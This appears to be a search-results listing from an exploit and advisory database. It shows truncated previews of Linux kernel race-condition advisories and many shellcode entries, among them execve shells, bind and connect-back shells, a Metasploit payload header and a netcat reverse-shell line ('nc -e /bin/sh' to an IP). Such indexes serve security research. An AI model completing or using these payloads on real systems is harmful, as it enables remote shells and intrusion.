1256 matches found
PT-2019-16759 · Linux +3 · Linux Kernel +3
Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 4.8 Description: A race condition in the perf event open function allows local attackers to leak sensitive data from setuid programs. This occurs because no relevant locks, specifically the cred guard mutex, are...
DSA-3659-1 linux - security update
Bulletin has no description...
DEBIAN-CVE-2016-6136
Race condition in the auditlogsingleexecvearg function in kernel/auditsc.c in the Linux kernel through 4.7 allows local users to bypass intended character-set restrictions or disrupt system-call auditing by changing a certain string, aka a "double fetch" vulnerability...
PT-2016-6763
Name of the Vulnerable Software and Affected Versions Linux kernel versions prior to 4.8 Description The issue is related to a race condition in the audit log single execve arg function, allowing local users to bypass character-set restrictions or disrupt system-call auditing by changing a certai...
Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)
/ Title: Axis Communication Linux/CRISv32 - Connect Back Shellcode Author: bashis / 2016 / include char sc = //close0 "\x7a\x86" // clear.d r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break 13 //close1 "\x41\xa2" // moveq 1,r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break 13...
Linux/x86 - execve /bin/sh Shellcode (19 bytes)
Linux/x86 - execve /bin/sh Shellcode 19 bytes. Shellcode exploit for Linx86 platform / Linux/x86 - execve /bin/sh shellcode 19 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 19 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor eax,eax 8048062: 50 push eax...
Linux/x86 - execve /bin/sh Shellcode (19 bytes)
/ Linux/x86 - execve /bin/sh shellcode 19 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 19 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor eax,eax 8048062: 50 push eax 8048063: 68 2f 2f 73 68 push 0x68732f2f 8048068: 68 2f 62 69 6e push 0x6e69622f 804806d...
Linux Netcat Reverse Shell - 32bit - 77 bytes
Linux Netcat Reverse Shell - 32bit - 77 bytes. Shellcode exploit for linx86 platform include include //[email protected] //OffSec ID: OS-20614 / global start start: ;/bin//nc -e///bin/sh 10.0.0.6 99 xor eax,eax ; clear eax xor edx,edx ; clear edi ; 0xIN-LAST IN-FIRST push 0x3939393...
Linux x86_64 execve Shellcode - 15 bytes
Linux x8664 execve Shellcode - 15 bytes. Shellcode exploit for linx86-64 platform include include // OS-20614 // [email protected] / global start start: execve: mov rsi, rax mov rdx, rsi mov r12 , 0x68732f6e69622f push r12 push rsp pop rdi mov al, 0x3b syscall / unsigned char code ...
Linux ARM Big Endian Command Shell, Bind TCP Inline
Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 118 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...
Linux x86_64 XOR Encode execve Shellcode
Linux x8664 XOR Encode execve Shellcode. Shellcode exploit for linx86-64 platform / Title : Linux x8664 XOR encode execve"/bin//sh","//bin/sh","-i",NULL,NULL shellcode Date : 31-05-2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 / / main code ------------------------...
Linux/x86-64 - XOR Encode execve Shellcode
/ Title : Linux x8664 XOR encode execve"/bin//sh","//bin/sh","-i",NULL,NULL shellcode Date : 31-05-2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 / / main code ------------------------ section .text global start start: xor rax,rax xor rdx,rdx push rax push rax mov...
Linux/x86-64 - Reverse TCP Shell Null Free Shellcode (134 bytes)
/ Exploit Title: Shellcode Linux x8664 Reverse Shell Date: 19/03/2016 Shellcode Author: Sudhanshu Chauhan LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan Tested on: Ubuntu 14.04.1 x8664 global start start: ;Socket xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx add rax, 41 add rdi, 2 ad...
Linux/x86-64 - Bind 1472/TCP Shellcode (IPv6) (199 bytes)
/ Title : Linux x8664 bind tcp : port 1472 ipv6 Date : 02/05/2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 Contact : email protected / / section .text global start start: ;;socket xor rax,rax push 6 push 0x1 push 10 pop rdi pop rsi pop rdx mov al,41 ;socket syscall...
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow)
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=807 A race condition in perfeventopen allows local attackers to leak sensitive data from setuid programs. perfeventopen associates with a task as follows: SYSCALLDEFINE5perfeventopen, struct perfeventattr user , attruptr, pidt, pid...
Linux/x86-64 - execve(/bin/bash) Shellcode (33 bytes)
/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/bash - 33 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...
Linux/x86_x64 - execve/bin/bash - 33 bytes
Linux/x86x64 - execve/bin/bash - 33 bytes. Shellcode exploit for linx86-64 platform / --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/bash - 33 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato...
Linux/x86-64 - execve(/bin/sh) Shellcode (25 bytes)
/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 25 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...
Linux/x86_x64 - execve/bin/sh - 25 bytes
Linux/x86x64 - execve/bin/sh - 25 bytes. Shellcode exploit for linx86-64 platform / --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 25 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa...
Linux/x86-64 - execve(/bin/sh) Shellcode (26 bytes)
/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 26 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...